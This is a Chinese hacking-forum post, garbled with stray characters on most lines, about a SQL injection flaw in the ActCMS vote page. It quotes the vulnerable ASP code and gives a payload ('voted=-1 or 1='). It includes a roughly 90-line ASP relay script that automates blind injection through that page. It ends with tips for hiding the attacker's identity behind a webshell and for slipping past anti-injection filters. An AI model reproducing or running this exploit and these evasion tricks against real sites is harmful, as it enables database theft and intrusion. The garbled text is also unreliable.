7 s$ a/ Z# Q+ Z& c/ Y2 E看到ninty大牛的blog的一篇文章6 x0 H. n6 s; C# f( c$ I; Z6 h
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]' D9 A5 Z; f" E3 b4 `8 e
关于actcms漏洞的利用 by 3x qq:3818625893 d5 ~3 m+ W) R% D5 o
转载请注明以上
+ M/ \3 V. S5 X' P1 Y漏洞文件:
$ ^3 t3 ]3 {% \; \: \- {+ ?/plus/vote/vote.asp
, |/ O! x9 _0 u4 j6 O代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
5 G z. ]: @7 c8 R0 Z4 T; p4 f" \9 P' G# w* S
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
) E3 q1 F$ V1 A# z0 R# t8 G+ C" H0 j, V
3 response.end
4 S. |$ B5 X9 }
8 ?. _4 c/ x9 O7 _3 [4 end if 3 S+ z/ X5 E3 h- i
; X* o5 M! h7 b6 I/ ^( J T# U( F5 for i=1 to request("voted").count 1 z% {$ R9 W9 A7 `5 E4 [; A. }( N+ ~
2 b- ^6 d- s; r1 P2 c6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) 7 y2 L- ]) ? F) E% ]$ M8 \2 X
$ m8 Z- l2 a3 i" M3 X7 N9 e3 x% z0 r
7 next - U" k" w* z- D2 X* K
4 L. s2 K b# e; P9 \
8.... 8 U* v3 D q$ [4 e! C$ J8 D" m
0 ~' x" z1 B; `9response.Redirect "index.asp?id="&id&""
" U( [, f, d* \5 `: w# W: Q投票结束回跳转回index.asp这个投票结果页面
% }- s( a5 X+ u7 Y0 F* `5 ~& D如果投票成功票数加1
8 l) ^0 ]/ W+ Z! I 失败票数不变
# q( r0 e& T3 H2 v如图: {& h9 [ H% L2 f- K+ ?
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
6 d6 A* _6 c, Z/ P- Z9 U* ?, C. w/ d% e4 ]' ~
2009-12-27 13:20
2 T& y7 ] k) w2 d. ?1 c# _
- _1 C6 V6 X9 p J1 N利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了& d/ C+ u5 H% m' c3 p2 B" g' S+ F" l: I
& r8 Z- Q3 k' L# c本帖隐藏的内容需要回复才可以浏览4 X _7 a: d$ o5 i! C
我们用注入中转来实现这个注入具体代码如下:
4 e3 X5 _, Y- l, X: w1 `先用寂寞的刺猬大牛的注入中转生成jmget.asp, Y- ^( `* H) }3 m1 S
注入地址:http://localhost/actcms/plus/vote/vote.asp
# N( K7 k- ]2 e注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项4 m! @+ p" l+ b3 i3 E+ ~2 c
- b u: }2 [3 k6 ]' t然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
; a1 k* R* K# u/ K9 G
0 z3 u" T8 G' L# F02JmdcwName=request("jmdcw")
& W. N$ P# ]2 y* Y% q5 P. M
' Y" E1 o& f& `* a03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
/ ^1 v/ f- q' u) Y* V# I, V$ \% O2 t1 \3 Y# V
04JmStr="id=1&voted=-1 or 1="&JmdcwName
4 G3 v; z. k. W" r% P8 C z. A4 U5 o* y
05JmStr=URLEncoding(JmStr)
! N0 X3 |) }4 x7 G9 @$ S5 Z
. X8 z+ i1 g5 L06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
( ?, ?! }% a0 ^! i" b. ]( J& i2 \ [& b# e+ g8 Q
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
- l) ?( F* W: u, [! d. {! w# M6 s6 ]' t ]( C) g. a1 X
08testurl=testurl & "?" & JmStr
9 a* I3 D5 m. ^) n
2 |( h- ]; g% A* q" M09JMUrl=JMUrl & "?" & JmStr
w& g$ b1 Q, E
) J" p4 A6 @& K% v5 g* [6 U10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
) O4 u b6 Q' q5 p% I
1 \! i8 B% M# V7 P8 X11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"& F8 k6 Y( H/ N2 J9 V
8 y3 A; D7 d/ s2 H$ K) R% s/ s. A12JmCok=replace(JmCok,chr(32),"%20") 5 o7 x% C+ u" V# ]' @, E
8 R7 [! P ?0 ^( M% V N
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
+ ~- o+ @& d7 _/ B/ d* A4 y! o( ]4 s+ _7 I
14
- J* Q& N4 Q) x8 @7 N" z0 ?
: B3 g: H$ `9 W15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
8 b6 j6 g M* ~1 z+ [5 _# C
' s9 r4 b1 ~8 R6 H16 - r8 s7 n- y2 h0 I) O. E$ Y7 b
1 `6 G: Z/ l& }. i0 ?4 L; \
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
" h* q0 W; N1 c6 E9 |
0 @/ A% \* q5 ^4 k18response.write test1&""&test2&""* S7 A5 j: [* j" x2 Q- h
4 U( n; o) b4 B( Y) Q$ i19
, E5 O6 c& Y x; T& z
1 f1 ?+ h$ l/ O20if test1=test2 then '如前后记录相等,表示失败
; ^% E, `; r# M3 c4 X/ P
9 z U2 d) N/ p- e21 response.write "failed"
+ o) `0 A; C5 F5 y7 z, ~4 {
) b8 b5 F8 z1 j22else
_( B/ b+ ]2 J# ~
/ w' h X' Y6 p- Q. I# \23 response.write "succeed"
7 D4 L! b9 Z: T+ x" H" g9 H) E1 ~5 t8 m
24end if
^/ C8 o6 l# X% O7 f! a' c; @! j5 _, T
25
' F/ _" R: R( p0 ]! ~; ~. P
' ]7 C# _9 E6 G& x/ T26response.write "by 3x"
1 K6 D x$ z5 I/ O* S! m# O
. t; t& a1 N+ E. T& n27
/ ^1 l( M' t" z
# ~8 R9 c5 {$ ~# c28 . U6 e! {4 K: X3 b- i
- k# z3 U: B) b v# V, }' g1 [29Function PostData(PostUrl,PostStr,PostCok,PostRef) ; i, c& F0 n. p- W" H, a5 t' v
# S: e( H! ?, Q @# F8 b
30Dim Http ! `+ \7 t' v0 u% n6 }/ t
% H' c! _/ P; b8 w( K$ q, |+ N
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
& _# U0 G- j" Z# q; V7 l% R# i6 `2 ?
32With Http
* Z( d; B5 W" x8 T# p8 m7 d8 c
0 n1 W% ^8 p6 A) x' s7 |8 w- n33
& T) D# m4 w, G7 K2 A1 [; r2 V% h: b+ V5 R" O, N+ q2 d' {
34.Open "GET",PostUrl,False, v; S/ ` a. A! l, x
. s; f1 _% v" B: V5 S35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
' |. G- b4 c8 ?0 o# P5 g4 W$ `& ` X! X6 y* q% k% S
36.SetRequestHeader "Referer",PostRef * \' {4 p5 B' i5 ]
- m) f1 s" X9 w7 E' s
37.SetRequestHeader "Cookie",PostCok
$ E2 V8 s& k9 f9 D
! @# C- N- Y# P1 J38.Send ()
" v1 y4 S* S0 ^& ?2 `2 a" j6 q9 I f1 _. a! j0 H; @
39PostData = .ResponseBody
$ E$ Y. q M. U$ R8 J$ l4 K, P2 A) H+ ]1 s, N5 x
40End With/ o. I1 b1 t7 j* T- Y
7 {; f. K# S8 v1 R6 o# n. y41Set Http = Nothing F' |! h+ X o5 U8 [$ D
4 s- k' j# S* n. x; u
42PostData =bytes2BSTR(PostData)
6 S- y! `, m( U O/ q6 B: {9 c2 }% C
7 K$ `, @* P3 J6 d3 g8 v5 U2 x8 Y% i43End Function
6 M3 M% E8 X7 g' l6 }" c, r% ]
! |3 o: D7 w% r% k44
4 ^# M8 {( Y" k# R/ D' I w# {1 p; m, S6 z
45
* ~* c( }7 N; R* B7 ?7 G r- T. M/ j5 }4 J8 @& |
46Function bytes2BSTR(vIn) $ V* p$ P# k% @) {2 b! \
/ C& q: B! p: }$ E
47Dim strReturn
7 L4 Z/ |$ {% [& B5 Y1 [0 m: P6 ~ k+ b D1 p
48Dim I, ThisCharCode, NextCharCode
1 q9 U8 W d/ f: S6 T
# D/ J" e9 t# ~& k2 K+ ?( d) g49strReturn = ""
! i! L" b5 c3 H) X: U" {5 J8 D
; `+ T8 y$ ^4 ?. g8 }( r50For I = 1 To LenB(vIn)
- G' [3 |! y$ }$ Z! ~+ m3 q# N" c2 z
51ThisCharCode = AscB(MidB(vIn, I, 1)) % Y( r5 |& V4 o
7 n/ q: D4 Z7 @" {
52If ThisCharCode < &H80 Then
% r; I" X: e3 Q1 h4 [
' k4 Q, i( B7 F& {1 ~9 X" A. S53strReturn = strReturn & Chr(ThisCharCode) . r7 U5 f* I5 P9 {( @
" X* P0 D" s4 G2 X" A5 a. F54Else }$ b0 s* v+ \# u% L; T
. j, @, t3 D! |% b q/ t0 E55NextCharCode = AscB(MidB(vIn, I + 1, 1))
5 ^3 |% W9 s# v0 z
; b$ d+ s" n: o5 k6 E56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) * f* S! `4 N2 y7 U
7 L8 ? h ]( m' J0 T
57I = I + 1 9 \1 J6 c5 d" M
/ Z( X( S1 x" E4 }5 A; m
58End If
+ R0 u. k! P( s' Q9 s& _* i% a U a1 v* Z; y1 O0 a- \6 H5 T# T* k
59Next
* [- c) o8 y: }" ~' y% x. M2 }# h, ^% t
60bytes2BSTR = strReturn
1 Q% s2 Q) S( O( A' l9 U N$ H5 V
8 q' G' `$ I4 A61End Function
: r& q6 b) P$ V y. Q
( D. L$ _3 f4 b+ S. }+ a62
0 [1 N6 c7 B, O+ \( R' T' L) N3 m% b1 G
63Function URLEncoding(vstrin) - E- I& F& F4 t# e' }# W6 b
7 q, h* u: h' a6 d& V64strReturn=""1 I5 @6 D8 |5 F2 l
+ @4 s+ Z* S2 P8 _( {0 I
65Dim i
+ v0 e' d: ?6 `- B! z" A# r% u$ i% b
66For i=1 To Len(vstrin)
3 {& g9 e4 Q6 h+ w
( N* U* E' T& M& H y67ThisChr=Mid(vstrin,i,1) 1 C+ p7 W/ o6 w% ]
" N1 |7 h7 ]' d# V7 D' F$ b
68if Abs(Asc(ThisChr))< &HFF Then
; I; n1 W& e+ i' a
! } y* q5 \6 E L: i K E2 A69strReturn=strReturn & ThisChr * x: j6 g3 b+ g" f; a0 n8 A0 ?
) w0 M# d) b+ }) x+ L70Else
" P9 x5 F+ ]# S& O) s
7 I; l% O' `- W2 \71InnerCode=Asc(ThisChr) & W8 M, H# q1 m8 y9 H
, b( j/ E% j* T* H0 ?* w
72If InnerCode<0 Then, h/ P P* O: A- {7 j. j' F1 U
( n/ D& k, s! ]+ S% t73InnerCode=InnerCode + &H10000 ! F2 m, k8 t9 i9 \
( E* p; [& t. B; h9 g; O O4 T
74End If; }2 |" H" W9 m6 Q0 ^! v
D- W0 l1 {: `& F' r) V4 n/ H' l1 v8 I4 X
75Hight1=(InnerCode And &HFF00) \&HFF 7 A& ~/ a l& r) M) }8 V; i! d
1 O* \" u+ [% @- @, H. U76Low1=InnerCode And &HFF $ S- F9 T7 b. B! i7 N
# Y; J' N* t+ }+ g6 `
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) ( {2 E1 r- Z- l4 O% \( ]' e
& C* k; Z) Z+ a0 W+ _* ~78End if
( r: {, e# D' A: W& d9 ] B" a' y4 M! K. E
79Next* u4 k7 Z. i9 G, n/ m3 S+ d5 O
' Y& V0 m( G$ j, v( O
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 2 e) A' K& f/ c, j
O7 Z4 @1 w5 g, _
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 3 O U* ?* R' y0 N, k2 h3 o1 w
+ o5 y9 \5 x% C
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 ! u; Q& Q6 b7 u, K/ J) Q3 H1 f" Q
: S" j4 D8 X' |; K* g# Z83URLEncoding=strReturn - X2 E/ U( |' F H2 I. V
3 I9 o$ Y8 D/ n
84End Function4 r4 v. E8 W. }
: X: j8 ~3 B) |( Y3 ?85 , A3 O9 k& M: _! F# B+ S
: G9 A$ t6 m' x: B' A' k$ I86function getSt(body) 4 _: B i$ i& P% n
6 Z6 [6 b+ q+ \9 R3 J! I
87 startpot=instr(body,"投票人数:")+len("投票人数:") 5 I0 p% Y! g( Z% C1 V
8 K" E& n/ W! e& L F+ h# {- x4 ]88 endpot=instr(startpot,body," ")
3 D) K: G& L- Y
: h, l. L, M! W1 [ X; G89 getSt=mid(body,startpot,endpot-startpot)
. c% K( I; d* f) l' \( @9 K* |; B8 c# O* H9 x' }
90end function
4 o F b1 h# D; D9 R+ }" g' z& c! j2 @ ~* G f
91%>
8 r9 N5 Q+ `5 x8 u) a0 z注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
% A( s" [8 Q+ m6 Q {测试下效果:
0 |+ _! l% c5 W9 T/ a3 g8 Y投票成功:# j+ I. ~& i* W* G) i
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
e2 Z1 p. Q4 P4 t. x0 L9 R. l) i6 @5 T# Q! q9 P2 P
2009-12-27 13:29" f4 r, S5 L7 P( y6 X
投票失败
- r( M# H) r# d6 ]6 }http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
0 Q* X h- K6 ]7 n! J1 p1 M& _$ |: b: b9 g# H
2009-12-27 13:29
8 A; b1 \) g' {" Z0 E( p9 z-------------------------------------------------------------------------------
0 Z U8 g* w" t* H8 B再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以. X Y5 P$ n* O/ ^4 _
很抱歉。。。只能用单线程工具去注入。。。。。/ p4 `" K, o8 G% K. g9 f
所以失败。。。不好意思。。。 q3 d p. H |6 N
-------------------------------------------------------------------------------
0 [% f7 ~8 j( H5 G8 G- s) }. o/ b9 e2 o0 C6 K
注入中转的一些其他应用! ` J0 @: M0 K( F) c
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了, w3 x) i1 ^0 W
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
6 L5 [1 S* y) I U2.post注入转成get型的注入,方便我们使用工具来跑
" z- _+ d1 b0 j1 f ?2 S* `3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
. z) w' V/ m3 P% j4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
$ Q. f. [$ h6 P3 b s
& B, C3 U. z2 x* h, E# b |